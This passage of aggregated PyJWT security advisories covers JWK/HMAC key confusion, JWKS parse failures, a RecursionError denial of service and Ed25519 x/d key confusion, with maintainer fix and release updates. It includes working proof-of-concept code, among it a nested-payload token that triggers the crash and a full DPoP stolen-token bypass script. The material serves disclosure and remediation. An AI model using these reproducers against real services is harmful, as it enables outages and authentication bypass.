array, or represented in another container form that does not expose a top-level `kty` member. ##### Impact An attacker who knows the public key material can forge HS256/HS384/HS512 tokens if the application simultaneously: * allows both HS* and asymmetric algorithms; * passes raw public JWK/JWKS JSON as `key=`; and * uses that same value as the HMAC secret. This can allow forged JWT claims in affected application configurations. The issue does not affect applications that keep symmetric and asymmetric verification paths separate and follow PyJWT's algorithm-selection guidance. ##### Fix status The fix is on `master` in commit `801cd12` (`fix: reject public JWK container HMAC keys`). `HMACAlgorithm.prepare_key` now rejects public JWK members found in objects, arrays, nested containers, BOM/UTF variants, and recursion-limit inputs. It also recognizes escaped JSON member names without treating ordinary string values as JWKs. Ordinary JSON secrets remain accepted byte-for-byte. The change was tested with focused regression tests and the full local tox matrix. Available Python 3.9, 3.12, and 3.13 crypto/no-crypto suites, mypy, package metadata, and coverage passed; unavailable interpreters were skipped by the project configuration. A fresh independent Astra/max security review accepted the final diff with no blocking findings. The affected range is `= 2.13.0`. The fix is on the unreleased development branch; the patched version will be recorded when a released 2.x version containing the fix is available. This advisory is being moved to draft pending that release. ##### Reporter credit Credit: Charles Vosburgh / Trilobyte. ##### Original report The original report and reproduction package are retained in the private advisory record. ##### Maintainer update — 2026-09-11 The verified fix for this advisory is included in PyJWT 2.14.0, released on 2026-09-11 and available on PyPI. PyJWT 2.14.0 is the first release containing the fix. This advisory is now published with 2.14.0 recorded as the patched version. #### Severity - CVSS Score: 7.4 / 10 (High) - Vector String: `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N` #### References - [https://github.com/jpadilla/pyjwt/security/advisories/GHSA-w2cx-738m-mc7w](https://github.com/jpadilla/pyjwt/security/advisories/GHSA-w2cx-738m-mc7w) - [https://nvd.nist.gov/vuln/detail/CVE-2026-102273](https://nvd.nist.gov/vuln/detail/CVE-2026-102273) - [https://github.com/jpadilla/pyjwt/commit/801cd128528c62d9b23fcd161d1a2e1c17982f95](https://github.com/jpadilla/pyjwt/commit/801cd128528c62d9b23fcd161d1a2e1c17982f95) - [https://github.com/jpadilla/pyjwt](https://github.com/jpadilla/pyjwt) - [https://github.com/jpadilla/pyjwt/releases/tag/2.14.0](https://github.com/jpadilla/pyjwt/releases/tag/2.14.0) - [https://pypi.org/project/pyjwt](https://pypi.org/project/pyjwt) - [https://github.com/advisories/GHSA-w2cx-738m-mc7w](https://github.com/advisories/GHSA-w2cx-738m-mc7w) This data is provided by [OSV](https://osv.dev/vulnerability/PYSEC-2026-4151) and the [PyPI Advisory Database](https://github.com/pypa/advisory-database) ([CC-BY 4.0](https://github.com/pypa/advisory-database/blob/main/LICENSE)). </details> --- ### PyJWT: Malformed RSA JWK aborts parsing of an entire JWK Set [CVE-2026-102274](https://nvd.nist.gov/vuln/detail/CVE-2026-102274) / [GHSA-w6j9-cwv2-h6wq](https://github.com/advisories/GHSA-w6j9-cwv2-h6wq) / PYSEC-2026-4152 <details> <summary>More information</summary> #### Details ##### Summary A malformed RSA JWK inside a JWK Set aborts parsing of the entire set instead of being skipped, because `RSAAlgorithm.from_jwk` can raise a plain `ValueError` that isn't caught by `PyJWKSet`'s per-key error-skipping logic. ##### Affected component / version - Package: `PyJWT` (PyPI, ecosystem `pip`) - Files: `jwt/api_jwk.py` (`PyJWK.__init__`, `PyJWKSet.__init__`), `jwt/algorithms.py` (`RSAAlgorithm.from_jwk`) - Confirmed present in the `master` branch as of 2026-09-05 (commit `7144e4534c34810f4525dc4578a32addd8212cff`, tag `2.13.0`). Directly verified identical in tags `2.9.0`, `2.10.0`, `2.11.0`, `2.12.0`, `2.12.1`, `2.13.0` -- the vulnerable call and the `except PyJWTError` guard are unchanged across all six releases. Not verified against any release prior to `2.9.0`. ##### Details `PyJWKSet.__init__` (`jwt/api_jwk.py:145-152`) iterates each key in a JWK Set: ```python for key in keys: try: self.keys.append(PyJWK(key)) except PyJWTError as error: if isinstance(error, MissingCryptographyError): raise error # skip unusable keys continue ``` `PyJWK.__init__` (`api_jwk.py:82`) calls `self.Algorithm.from_jwk(self._jwk_data)` with no try/except of its own. For an RSA JWK, this dispatches to `RSAAlgorithm.from_jwk` (`jwt/algorithms.py:539-586`). When the JWK supplies `d`, `e`, `n` without the CRT parameters (`p`, `q`, `dp`, `dq`, `qi`), `from_jwk` calls `cryptography`'s `rsa_recover_prime_factors(public_numbers.n, d, public_numbers.e)` (`algorithms.py:572-574`) to derive the key. If `d` is not the correct private exponent for that `n`/`e` pair, `rsa_recover_prime_factors` raises a plain `ValueError`. `ValueError` is a built-in Python exception and is not a subclass of `jwt.exceptions.PyJWTError` (`PyJWTError(Exception)` is the root of PyJWT's own exception hierarchy). It is therefore not caught by `PyJWKSet.__init__`'s `except PyJWTError`, and propagates out of the constructor, aborting the `for key in keys:` loop before any subsequent key in the list is processed. `PyJWKSet.from_dict`/`from_json` and `PyJWK.from_dict`/`from_json` are exported public API (`jwt/__init__.py`). `PyJWKClient.get_jwk_set` (`jwt/jwks_client.py:158`) feeds a fetched JWKS HTTP response directly into `PyJWKSet.from_dict` with no per-key pre-validation, so this is reachable through the documented `PyJWKClient` flow whenever the fetched JWKS contains a malformed key alongside valid ones. ##### Proof of concept ```python import jwt good_jwk = { "kty": "RSA", "n": "<a valid base64url-encoded RSA modulus, e.g. from a real 2048-bit public key>", "e": "AQAB", } bad_jwk = { "kty": "RSA", "n": good_jwk["n"], "e": "AQAB", "d": "AAAAAA", # not the true private exponent for n/e, no CRT params present } jwks_doc = {"keys": [bad_jwk, good_jwk]} jwt.PyJWKSet.from_dict(jwks_doc) ##### raises: ValueError: Unable to compute factors p and q from exponent d. ##### (uncaught -- PyJWKSet.__init__ never returns, `good_jwk` is never added) ``` ##### Impact `PyJWKSet.__init__` raises before completing, so no key in the JWK Set is added to the resulting set, including keys unrelated to the malformed entry. This requires the malformed key to already be present in a JWK Set the application parses (e.g. one entry in an aggregated/federated key set, or a key affected by transit corruption before signature verification of the JWKS transport itself). Applications that vet each key individually before adding it to a trusted set are not affected. The failure is an uncaught `ValueError`, not one of PyJWT's documented `jwt.exceptions.*` types, so exception handling written against PyJWT's documented contract (`except jwt.exceptions.PyJWTError`) will not catch it either. ##### Suggested remediation Wrap the key-construction call in `PyJWK.__init__` (`api_jwk.py:82`) so a `ValueError` is converted into `InvalidKeyError` (a `PyJWTError` subclass): ```python try: self.key = self.Algorithm.from_jwk(self._jwk_data) except ValueError as e: raise InvalidKeyError(f"Unable to construct key from JWK: {e}") from e ``` This lets `PyJWKSet.__init__`'s existing `except PyJWTError: continue` skip the one malformed key as its own comment already states is intended. ##### Responsible Disclosure Timeline Per the [OWASP Vulnerability Disclosure Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Vulnerability_Disclosure_Cheat_Sheet.html) and [Google Project Zero's 2020 disclosure policy](https://projectzero.google/2020/01/policy-and-disclosure-2020-edition.html): - **Day 0** (date of submission): to be set to the actual API response's `created_at` timestamp when this report is submitted. If submitted on the date of this draft (2026-09-05), Day 0 = 2026-09-05. - **Day 90** (full-public-disclosure deadline, regardless of fix status): Day 0 + 90 days -- 2026-12-04 if Day 0 is 2026-09-05. - A brief mutually-agreed extension (standard 14-day grace period) is available if a fix is scheduled but not yet shipped by Day 90 -- extending to 2026-12-18 in that case. - This window may shorten instead of extend if the issue is confirmed under active exploitation. ##### Try It Yourself (Sandbox) Reproduce the PoC above, and attempt your own fix, in an isolated sandbox with no access to production systems, secrets, or real data. - Sandbox: [jwt.py](https://play.secdim.com/game/python/challenge/jwtpy) - Course: [Tenant Zero: AI & SaaS Authz Failures](https://learn.secdim.com/course/tenant-zero) ##### Credit Discovered and reported by SecDim Security Research: secdim.com, @&#8203;secdim, security@secdim.com. ##### Maintainer update — 2026-09-08 We reproduced the reported behavior on PyJWT 2.13.0 with `cryptography` installed: a malformed RSA private JWK containing an invalid `d` value and no CRT parameters raised a plain `ValueError` while parsing a JWK set. Because `PyJWKSet` skips `PyJWTError` instances only, that exception aborted parsing before subsequent valid keys were loaded. The impact is a conditional availability failure for applications that parse a key set containing a malformed entry; it is not a signature-forgery or claims-verification bypass. The independently verified affected range is `>= 2.9.0, <= 2.13.0`; earlier releases were not checked. A narrow fix has been prepared in commit `8915570` based on master commit `5fa7594`: `PyJWK` converts key-construction `ValueError` exceptions to `InvalidKeyError`, allowing the existing `PyJWKSet` skip path to continue. Regression coverage verifies that a malformed RSA key is skipped while a valid key in the same set remains usable. The full suite passes with 370 tests and 4 intentional cryptography-environment skips; formatting, lint, and targeted type checks pass. The advisory remains in triage while the fix goes through release planning. #### Severity - CVSS Score: 5.9 / 10 (Medium) - Vector String: `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H` #### References - [https://github.com/jpadilla/pyjwt/security/advisories/GHSA-w6j9-cwv2-h6wq](https://github.com/jpadilla/pyjwt/security/advisories/GHSA-w6j9-cwv2-h6wq) - [https://nvd.nist.gov/vuln/detail/CVE-2026-102274](https://nvd.nist.gov/vuln/detail/CVE-2026-102274) - [https://github.com/jpadilla/pyjwt/commit/8915570a0bfda9f0ff0e34e7fb09bdb9d71580cf](https://github.com/jpadilla/pyjwt/commit/8915570a0bfda9f0ff0e34e7fb09bdb9d71580cf) - [https://github.com/jpadilla/pyjwt](https://github.com/jpadilla/pyjwt) - [https://github.com/jpadilla/pyjwt/releases/tag/2.14.0](https://github.com/jpadilla/pyjwt/releases/tag/2.14.0) - [https://pypi.org/project/pyjwt](https://pypi.org/project/pyjwt) - [https://github.com/advisories/GHSA-w6j9-cwv2-h6wq](https://github.com/advisories/GHSA-w6j9-cwv2-h6wq) This data is provided by [OSV](https://osv.dev/vulnerability/PYSEC-2026-4152) and the [PyPI Advisory Database](https://github.com/pypa/advisory-database) ([CC-BY 4.0](https://github.com/pypa/advisory-database/blob/main/LICENSE)). </details> --- ### PyJWT: Unauthenticated RecursionError DoS in pre-verification payload parse (PyJWKClient.get_signing_key_from_jwt / verify_signature=False) [CVE-2026-101918](https://nvd.nist.gov/vuln/detail/CVE-2026-101918) / [GHSA-42vr-xj54-vc7v](https://github.com/advisories/GHSA-42vr-xj54-vc7v) / PYSEC-2026-4141 <details> <summary>More information</summary> #### Details ##### Summary `PyJWKClient.get_signing_key_from_jwt(token)` — the first step of the JWKS verification flow documented in `docs/usage.rst` — must decode a token's payload before its signature can be checked, via `jwt.api_jwt.decode_complete(token, options={"verify_signature": False})`. That call parses the payload with `json.loads` in `PyJWT._decode_payload` (`jwt/api_jwt.py:297-300`), whose `except` clause catches only `ValueError`. A payload that is valid JSON but nested ~20,000 levels deep makes `json.loads` raise `RecursionError`, which is **not** a `ValueError` and escapes as a raw, undocumented exception type — not `DecodeError`, `InvalidTokenError`, or `PyJWTError`, so every documented error-handling pattern in `docs/usage.rst` misses it. The token needs no valid signature and no network access — the crash happens during payload parsing, before the `kid` is even looked up. A single unauthenticated ~50KB request crashes the caller's auth handler (HTTP 500 / dead worker), repeatably. The same path is reachable through plain `jwt.decode(token, options={"verify_signature": False})` too. Notably, this project already fixed the **identical** bug class for the JWS **header** path — `PyJWS._load` catches `(ValueError, RecursionError)` and wraps it in `DecodeError` (`jwt/api_jws.py:360-361`), and `CHANGELOG.rst` (v2.14.0, "Security") states "Handle deeply nested and malformed JWS/JWK input without uncaught recursion errors." The payload path — the one part of a forged token an unauthenticated attacker fully controls — was left catching `ValueError` alone, so that security fix does not fully hold. A second, related instance: `PyJWKClient.fetch_data` (`jwt/jwks_client.py:168`) parses a JWKS endpoint's response with `json.load(response)` inside a `try` that only catches `(URLError, TimeoutError, http.client.HTTPException)` — a deeply-nested JSON response from a JWKS endpoint raises the same raw `RecursionError`, uncaught entirely (worse than the payload path, which at least caught plain `ValueError`). **Affected versions:** confirmed present in the current release, 2.14.0, and on the current `master` branch (commit `4adcd02722f5011c60079d3978dfc167b9a8eaa5`). ##### Reproduction ```python import base64, json, jwt def b64url(b): return base64.urlsafe_b64encode(b).rstrip(b"=") header = b64url(json.dumps({"alg": "HS256", "typ": "JWT"}).encode()) payload = b64url(b"[" * 20_000 + b"]" * 20_000) token = (header + b"." + payload + b"." + b64url(b"forged-sig")).decode() jwt.decode(token, options={"verify_signature": False}) ##### raises: RecursionError (not DecodeError/InvalidTokenError/PyJWTError) ``` Control: the same deeply-nested structure moved into the token's **header** instead of its payload is correctly converted to `jwt.DecodeError` by the already-hardened `jwt/api_jws.py:360` — confirming the payload path is specifically the missed half of the v2.14.0 hardening, not a general gap. ##### Impact assessment Unauthenticated denial-of-service via unhandled exception on an auth path. Not an auth bypass — rated medium. With signature verification enabled, this parse runs after `_verify_signature`, so only the pre-verification paths (`get_signing_key_from_jwt`, explicit `verify_signature=False`) are attacker-reachable pre-auth; the JWKS-endpoint variant requires control of (or a MITM on) the configured JWKS endpoint rather than being reachable from an arbitrary client token. ##### Suggested fix In `jwt/api_jwt.py:299`, change `except ValueError as e:` to `except (ValueError, RecursionError) as e:`, mirroring `jwt/api_jws.py:360` exactly. In `jwt/jwks_client.py`, add the same `(ValueError, RecursionError)` handling around `json.load(response)` in `fetch_data`, raising `PyJWKClientError` (consistent with the method's existing documented error contract). A patch implementing both, verified against the full test suite (457 passed, 4 skipped — pre-existing, environment-related) and against the reproduction above (now correctly raises `DecodeError`), is attached (`fix.patch`). ##### Discovery method Found and verified using `scopegrep` (https://github.com/not-ekalabya/scopegrep) — a semantic code-retrieval tool that surfaces every other call site of a symbol alongside relevance-ranked results, which is what surfaced the already-hardened header path as the direct comparison here — paired with an LLM coding agent (GLM-5.3) run as an open-ended security review of this repository. Independently reproduced against the exact commit above before this report was written. Happy to share the full session transcript on request. ##### Disclosure status Not shared with any other party or published. Submitting through this private channel per the project's stated security policy; no planned public/conference disclosure ahead of a coordinated timeline. --- ##### Maintainer triage update (2026-09-22) ##### Confirmed finding and scope We confirmed that an attacker-controlled recursively nested JWT payload can cause a raw Python `RecursionError` to escape PyJWT at PyJWT 2.14.0 and the tested current source. The confirmed in-scope paths are direct decoding with `verify_signature=False` and `PyJWKClient.get_signing_key_from_jwt`, where payload parsing occurs before key lookup. The demonstrated impact is limited to an uncaught exception for the affected call, which may surface as an application HTTP 500 when the application does not catch it. Testing did not demonstrate a worker or process crash, persistent resource exhaustion, resource amplification, authentication bypass, or confidentiality or integrity impact. The separate JWKS-response subclaim is out of scope under the policy boundary that requires the application to trust its configured JWKS source and transport. The confirmed payload finding is not a duplicate of the earlier protected-header parser finding: it occurs in a distinct payload parsing path that remained affected after the earlier header-only fix. ##### Version and remediation status Historical testing reproduced the confirmed payload behavior in all 20 official supported PyJWT 2.x releases from 2.0.0a1 through 2.14.0, inclusive. Unsupported PyJWT 1.7.1 also reproduces the behavior, but it is excluded from the advisory range under the supported-2.x policy. No supported unaffected release and no patched release exists. The exact evidence is `/Users/jpadilla/.codex/security-advisories/pyjwt/GHSA-42vr-xj54-vc7v-historical-range-20260922.md` (SHA-256 `c48f1ac35641e9382d53e6a879a71ad9a8fb4432bbe871f2b8330f8d166a2d81`) and `/Users/jpadilla/.codex/security-advisories/pyjwt/historical-range-42vr-20260922/historical-range-results.json` (SHA-256 `324997f231561bf6da39b8f9d1e272f69bfde8871a7863f5cb7b70e22e91f076`). The evidence-backed supported affected range is `>= 2.0.0a1, <= 2.14.0`. Historical range verification is complete. A local fix commit exists and has passed independent review and the complete local CI suite, but it has not been merged into `master` or released. Consequently, `patched_versions` remains empty and this advisory remains in `triage`. The remaining next step is a maintainer decision on remediation and merge. After a fix lands in `master` and is released, `patched_versions` and advisory lifecycle can be updated in a separate approved batch. --- ##### Maintainer remediation update (2026-09-23) The confirmed payload-parser finding has been fixed on `master`. Commit `5fde08a6cf906aa7698de2d6391d88b73006b17b` converts a recursive payload parse failure to the expected `DecodeError`; commit `9bc06658f875b9b40091539140bbbdc4639161c3` makes the regression tests deterministic across supported Python versions. This update supersedes the 2026-09-22 remediation-status statement that the fix had not landed. The original pre-verification payload reproducer and the `PyJWKClient.get_signing_key_from_jwt` path were covered by regression tests. The exact landed tree passed the full 39-environment local tox matrix and GitHub CI for commit `9bc06658f875b9b40091539140bbbdc4639161c3` passed all 25 jobs, including Ubuntu Python 3.14 and 3.15. The demonstrated impact remains an uncaught request-level exception in affected releases; there is still no evidence of process termination, persistent resource exhaustion, authentication bypass, or confidentiality or integrity impact. The supported affected range remains `>= 2.0.0a1, <= 2.14.0`. The latest released version is 2.14.0, which predates these commits; no released patched version exists yet, so `patched_versions` remains unset. CVSS v3.1 5.3 (Medium) and CWE-248 remain unchanged. The advisory may now move from triage to private draft. The next lifecycle step is a new supported 2.x release containing the fix, followed by separately approved patched-version and publication updates after release verification. --- ##### Maintainer release update (2026-09-23) PyJWT 2.15.0 is the first released version containing the payload-parser fix. Its GitHub release tag points to commit `1d41a6478e1562e68ff667fcd703356acf085f68`, which includes fix commit `5fde08a6cf906aa7698de2d6391d88b73006b17b` and deterministic regression-test commit `9bc06658f875b9b40091539140bbbdc4639161c3`. PyPI published both the wheel and source distribution from that release commit through the successful production workflow at https://github.com/jpadilla/pyjwt/actions/runs/35891602963. The published PyPI wheel (`pyjwt-2.15.0-py3-none-any.whl`, SHA-256 `7a3742debf6b879e912dbb9819ceec1594be812452b78c5f2e2dfc56564954f8`) was checked directly: the deeply nested unsigned payload now raises `DecodeError`, while an ordinary unsigned payload still decodes. The supported affected range remains `>= 2.0.0a1, <= 2.14.0`; the patched version is `2.15.0`. Earlier statements in this advisory that no released patched version exists are superseded by this update. The confirmed impact remains an uncaught request-level exception in affected versions, not a demonstrated process crash or authentication bypass. The separate JWKS-response subclaim remains outside this advisory's confirmed PyJWT-owned scope. #### Severity - CVSS Score: 5.3 / 10 (Medium) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L` #### References - [https://github.com/jpadilla/pyjwt/security/advisories/GHSA-42vr-xj54-vc7v](https://github.com/jpadilla/pyjwt/security/advisories/GHSA-42vr-xj54-vc7v) - [https://nvd.nist.gov/vuln/detail/CVE-2026-101918](https://nvd.nist.gov/vuln/detail/CVE-2026-101918) - [https://github.com/jpadilla/pyjwt/commit/5fde08a6cf906aa7698de2d6391d88b73006b17b](https://github.com/jpadilla/pyjwt/commit/5fde08a6cf906aa7698de2d6391d88b73006b17b) - [https://github.com/jpadilla/pyjwt](https://github.com/jpadilla/pyjwt) - [https://github.com/jpadilla/pyjwt/releases/tag/2.15.0](https://github.com/jpadilla/pyjwt/releases/tag/2.15.0) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-42vr-xj54-vc7v) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### PyJWT accepts inconsistent OKP x/d JWKs, causing public/private key identity confusion [CVE-2026-102275](https://nvd.nist.gov/vuln/detail/CVE-2026-102275) / [GHSA-x33g-cr3x-6449](https://github.com/advisories/GHSA-x33g-cr3x-6449) / PYSEC-2026-4183 <details> <summary>More information</summary> #### Details ##### Summary PyJWT accepts internally inconsistent OKP private JWKs where the declared public key `x` does not correspond to the supplied private key `d`. When `d` is present, `OKPAlgorithm.from_jwk()` constructs the Ed25519/Ed448 private key from `d` without verifying that the public key derived from `d` matches `x`. As a result, the original JWK can contain one public key identity while PyJWT performs cryptographic operations using a different key. In affected DPoP integrations, this can allow a stolen sender-constrained access token to be used without possession of the legitimate holder's private key. ##### Details The vulnerable logic is in `jwt/algorithms.py`: ```python if "x" not in obj: raise InvalidKeyError('OKP should have "x" parameter') x = base64url_decode(obj.get("x")) if "d" not in obj: if curve == "Ed25519": return Ed25519PublicKey.from_public_bytes(x) return Ed448PublicKey.from_public_bytes(x) d = base64url_decode(obj.get("d")) if curve == "Ed25519": return Ed25519PrivateKey.from_private_bytes(d) return Ed448PrivateKey.from_private_bytes(d) ``` When `d` is present, `x` is parsed but never compared with the public key derived from `d`. For example, PyJWT accepts: ```json { "kty": "OKP", "crv": "Ed25519", "x": "<legitimate-user-public-key>", "d": "<attacker-private-key>" } ``` even though `x` and `d` belong to different key pairs. The behavior has existed since OKP private-JWK import was introduced: * Ed25519: PyJWT 2.1.0+ * Ed448: PyJWT 2.2.0+ * Confirmed through PyJWT 2.14.0 and current master A correct import should derive the public key from `d` and reject the JWK when it does not equal the supplied `x`. ##### PoC The reproducer creates two Ed25519 keypairs: * a legitimate holder keypair * an attacker keypair It then: 1. Creates an access token whose `cnf.jkt` is bound to the legitimate public key. 2. Creates a DPoP proof JWK containing the legitimate user's `x` together with the attacker's `d`. 3. Computes the RFC 7638 thumbprint from `x`, which still matches the access-token binding. 4. Passes the complete JWK to `PyJWK.from_dict()`. 5. PyJWT imports the private key from the attacker-controlled `d`. 6. A DPoP proof signed with the attacker's private key verifies successfully. Observed result: ```text thumbprint_matches: true actual_key_is_attacker_key: true actual_key_matches_declared_x: false stolen_sender_constrained_token_accepted: true attacker_has_legitimate_private_key: false ``` Tested on PyJWT 2.13.0, PyJWT 2.14.0, and current master. The complete reproducer is: ```python #!/usr/bin/env python3 from __future__ import annotations import base64 import hashlib import json import os import platform import time from importlib.metadata import version from typing import Any import jwt from cryptography.hazmat.primitives.asymmetric.ed25519 import Ed25519PrivateKey from cryptography.hazmat.primitives.serialization import ( Encoding, NoEncryption, PrivateFormat, PublicFormat, ) ACCESS_TOKEN_SECRET = b"synthetic-authorization-server-key-32b" HTTP_METHOD = "GET" HTTP_URI = "https://resource.example/protected" def b64url(raw: bytes) -> str: return base64.urlsafe_b64encode(raw).rstrip(b"=").decode("ascii") def public_x(private_key: Ed25519PrivateKey) -> str: return b64url(private_key.public_key().public_bytes(Encoding.Raw, PublicFormat.Raw)) def private_d(private_key: Ed25519PrivateKey) -> str: return b64url( private_key.private_bytes(Encoding.Raw, PrivateFormat.Raw, NoEncryption()) ) def jwk_thumbprint(jwk: dict[str, Any]) -> str: canonical = json.dumps( {"crv": jwk["crv"], "kty": jwk["kty"], "x": jwk["x"]}, separators=(",", ":"), sort_keys=True, ).encode("ascii") return b64url(hashlib.sha256(canonical).digest()) def access_token_hash(access_token: str) -> str: return b64url(hashlib.sha256(access_token.encode("ascii")).digest()) def verify_resource_request( access_token: str, proof: str, *, reject_private_header_jwk: bool = False, ) -> dict[str, Any]: """Model the security-relevant stages of an RFC 9449 resource server.""" access_claims = jwt.decode( access_token, ACCESS_TOKEN_SECRET, algorithms=["HS256"], issuer="https://authorization.example", audience="resource-api", options={"require": ["exp", "iss", "aud", "sub", "cnf"]}, ) header = jwt.get_unverified_header(proof) if header.get("typ") != "dpop+jwt" or header.get("alg") != "EdDSA": raise ValueError("invalid DPoP header policy") jwk = header.get("jwk") if not isinstance(jwk, dict): raise ValueError("missing DPoP JWK") if reject_private_header_jwk and any( member in jwk for member in ("d", "p", "q", "dp", "dq", "qi", "k") ): raise ValueError("DPoP header JWK contains private material") if jwk_thumbprint(jwk) != access_claims["cnf"]["jkt"]: raise ValueError("DPoP key does not match cnf.jkt") key = jwt.PyJWK.from_dict(jwk) proof_claims = jwt.decode( proof, key, algorithms=["EdDSA"], options={"require": ["htm", "htu", "iat", "jti", "ath"]}, ) if proof_claims["htm"] != HTTP_METHOD or proof_claims["htu"] != HTTP_URI: raise ValueError("DPoP request binding mismatch") if proof_claims["ath"] != access_token_hash(access_token): raise ValueError("DPoP access-token hash mismatch") return access_claims def main() -> None: legitimate_holder = Ed25519PrivateKey.generate() attacker = Ed25519PrivateKey.generate() legitimate_x = public_x(legitimate_holder) attacker_x = public_x(attacker) legitimate_public_jwk = { "alg": "EdDSA", "crv": "Ed25519", "kty": "OKP", "x": legitimate_x, } mismatched_proof_jwk = { **legitimate_public_jwk, "d": private_d(attacker), } pinned_jkt = jwk_thumbprint(legitimate_public_jwk) now = int(time.time()) access_token = jwt.encode( { "aud": "resource-api", "cnf": {"jkt": pinned_jkt}, "exp": now + 300, "iat": now, "iss": "https://authorization.example", "scope": "admin:read", "sub": "legitimate-holder", }, ACCESS_TOKEN_SECRET, algorithm="HS256", ) proof_claims = { "ath": access_token_hash(access_token), "htm": HTTP_METHOD, "htu": HTTP_URI, "iat": now, "jti": "synthetic-attacker-proof", } attacker_proof = jwt.encode( proof_claims, attacker, algorithm="EdDSA", headers={"jwk": mismatched_proof_jwk, "typ": "dpop+jwt"}, ) imported = jwt.PyJWK.from_dict(mismatched_proof_jwk).key imported_x = b64url( imported.public_key().public_bytes(Encoding.Raw, PublicFormat.Raw) ) accepted_claims = verify_resource_request(access_token, attacker_proof) public_only_rejected = False public_only_error = None public_only_proof = jwt.encode( proof_claims, attacker, algorithm="EdDSA", headers={"jwk": legitimate_public_jwk, "typ": "dpop+jwt"}, ) try: verify_resource_request(access_token, public_only_proof) except Exception as error: public_only_rejected = True public_only_error = type(error).__name__ private_member_control_rejected = False private_member_control_error = None try: verify_resource_request( access_token, attacker_proof, reject_private_header_jwk=True, ) except Exception as error: private_member_control_rejected = True private_member_control_error = type(error).__name__ result = { "environment": { "PyJWT": jwt.__version__, "PyJWT_source": str(jwt.__file__), "Python": platform.python_version(), "cryptography": version("cryptography"), "source_ref": os.environ.get("PYJWT_SOURCE_REF", "installed-release"), }, "dpop_binding": { "access_token_subject": accepted_claims["sub"], "access_token_scope": accepted_claims["scope"], "pinned_jkt": pinned_jkt, "proof_jkt": jwk_thumbprint(mismatched_proof_jwk), "thumbprint_matches": jwk_thumbprint(mismatched_proof_jwk) == pinned_jkt, }, "imported_key": { "declared_x": legitimate_x, "attacker_x": attacker_x, "actual_imported_x": imported_x, "actual_key_is_attacker_key": imported_x == attacker_x, "actual_key_matches_declared_x": imported_x == legitimate_x, }, "vulnerable_composition": { "stolen_sender_constrained_token_accepted": accepted_claims["sub"] == "legitimate-holder", "attacker_has_legitimate_private_key": False, }, "controls": { "public_only_jwk_rejected": public_only_rejected, "public_only_error": public_only_error, "reject_private_header_jwk_blocks_attack": private_member_control_rejected, "private_member_control_error": private_member_control_error, }, } assert jwk_thumbprint(mismatched_proof_jwk) == pinned_jkt assert imported_x == attacker_x assert imported_x != legitimate_x assert accepted_claims["sub"] == "legitimate-holder" assert public_only_rejected and public_only_error == "InvalidSignatureError" assert private_member_control_rejected and private_member_control_error == "ValueError" print(json.dumps(result, indent=2, sort_keys=True)) if __name__ == "__main__": main() ``` ```text 06-practical-testing/pyjwt-okp-dpop-binding-bypass-lab.py ``` A public example of the affected composition exists in StrongDM's `agentic-auth` Flask middleware: it computes an OKP thumbprint from `x` and subsequently passes the entire JWK to `PyJWK.from_dict()` for EdDSA DPoP verification without rejecting `d`. ##### Impact The PyJWT-owned issue is acceptance of internally inconsistent cryptographic key material: the JWK can declare one public key while the operative private key corresponds to another. In a DPoP verifier that: * calculates `cnf.jkt` / JWK thumbprints from the declared `x`, * passes the same JWK to PyJWT for signature verification, and * does not reject private JWK parameters, an attacker who steals a sender-constrained access token can use the token without possessing the legitimate holder's private key. RFC 9449 §4.2 requires DPoP implementations to reject private key parameters in proof JWKs. Therefore the demonstrated authentication bypass additionally requires a DPoP implementation that omits this check. RFC-compliant DPoP implementations that reject `d` are not vulnerable to the demonstrated attack. ##### Maintainer assessment (2026-09-12) We independently reproduced the PyJWT-owned issue: importing a private OKP JWK with non-corresponding `x` and `d` components returned the private key derived from `d` while accepting the conflicting declared public identity. The precise library impact is loss of JWK key-component consistency; a caller that uses `x` as the JWK identity and the returned key for cryptographic operations can act on two different key identities. Exact boundary checks found Ed25519 JWK import absent in 2.0.1 and the inconsistent-pair behavior present in 2.1.0. Ed448 JWK import was absent in 2.1.0 and the behavior was present in 2.2.0. Both curves reproduced in 2.14.0 and the tested pre-fix source. These samples support the existing affected metadata (`>= 2.1.0, <= 2.14.0`) and the per-curve introduction points, but do not claim exhaustive testing of every intervening release. The fix is on `master` in commit `3cd9ceec33ced359decbad75b413ad668ae6332c`. It derives the public bytes from `d`, compares them with `x`, and rejects a mismatch. Fresh independent Astra/max review accepted the exact tree `9f219601e39026c7094d48f3fbb6678951878aa8` with no blocking findings or required revisions. Targeted red/green and sibling-path checks passed, and the exact repository CI command `python -m tox` passed all 35 required environments both before and after the commit. The reported DPoP stolen-token scenario additionally requires an application to pass a private JWK from the proof header without rejecting private-key parameters. RFC 9449 sections 4.2 and 4.3 require such parameters to be absent or rejected, so that bypass is application-dependent and outside PyJWT's security-policy scope; it is not used to characterize the PyJWT-owned impact. The fix is not yet contained in a released PyJWT 2.x version, so `patched_versions` remains empty and this advisory remains unpublished. The next lifecycle step is to move the advisory from triage to draft now that the verified fix is on `master`; publication must wait until a new released 2.x version is confirmed to contain the fix and is recorded as the patched boundary. --- ##### Maintainer release update (2026-09-23) PyJWT 2.15.0 is the first released version containing the OKP JWK consistency fix. Its GitHub release tag points to commit `1d41a6478e1562e68ff667fcd703356acf085f68`, which includes fix commit `3cd9ceec33ced359decbad75b413ad668ae6332c`. PyPI published both the wheel and source distribution from that release commit through the successful production workflow at https://github.com/jpadilla/pyjwt/actions/runs/35891602963. The published PyPI wheel (`pyjwt-2.15.0-py3-none-any.whl`, SHA-256 `7a3742debf6b879e912dbb9819ceec1594be812452b78c5f2e2dfc56564954f8`) was checked directly: matching Ed25519 and Ed448 `x`/`d` private JWK components import successfully, while mismatched components raise `InvalidKeyError`. The supported affected range remains `>= 2.1.0, <= 2.14.0`; the patched version is `2.15.0`. The earlier statement that no released patched version exists is superseded by this update. The PyJWT-owned impact is acceptance of internally inconsistent OKP key material in affected versions. The reported DPoP stolen-token scenario additionally requires an application to accept private key parameters from a proof header, contrary to RFC 9449; it is not the basis for this advisory's classification. CVSS v3.1 6.5 (Medium), CWE-345, and CWE-348 are unchanged. #### Severity - CVSS Score: 6.5 / 10 (Medium) - Vector String: 